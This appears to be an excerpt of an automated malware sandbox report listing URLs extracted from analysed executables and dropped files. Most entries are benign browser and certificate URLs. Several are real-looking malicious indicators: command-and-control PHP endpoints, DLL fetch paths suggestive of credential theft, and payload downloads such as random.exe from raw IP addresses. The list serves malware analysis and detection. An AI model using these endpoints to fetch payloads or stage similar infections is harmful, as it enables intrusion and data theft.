Source: file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dlly
Source: file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllI_
Source: file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllSld
Source: file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/YvA
Source: file.exe, 00000000.00000002.1848440773.00000000236F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?o8
Source: file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: file.exe, 00000000.00000002.1848440773.00000000236F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpK
Source: file.exe, 00000000.00000002.1848440773.00000000236F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpO
Source: file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.1848440773.00000000236F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: file.exe, 00000000.00000002.1848440773.00000000236F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsystem32;C:
Source: file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ata
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpK2
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe?
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe(
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe60
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe60ac02b4ded8abeee1fbd
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe6C:
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe7d1aa
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe83
Source: skotes.exe, 00000020.00000002.2520712129.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe856001
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exeE5
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exeed
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPP737
Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_455.11.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1854729626.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854123597.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: chromecache_455.11.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 30576438-8f18-48c0-9a1e-e4556e912b75.tmp.16.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.1848440773.00000000236E2000.00000004.00000020.00020000.00000000.sdmp, JEBKECAFIDAFIECBKEHD.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1848440773.00000000236E2000.00000004.00000020.00020000.00000000.sdmp, JEBKECAFIDAFIECBKEHD.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.15.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.15.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 30576438-8f18-48c0-9a1e-e4556e912b75.tmp.16.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.15.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 30576438-8f18-48c0-9a1e-e4556e912b75.tmp.16.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.1848440773.00000000236E2000.00000004.00000020.00020000.00000000.sdmp, JEBKECAFIDAFIECBKEHD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1848440773.00000000236E2000.00000004.00000020.00020000.00000000.sdmp, JEBKECAFIDAFIECBKEHD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: manifest.json0.15.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log10.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log10.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log4.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log10.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr, HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
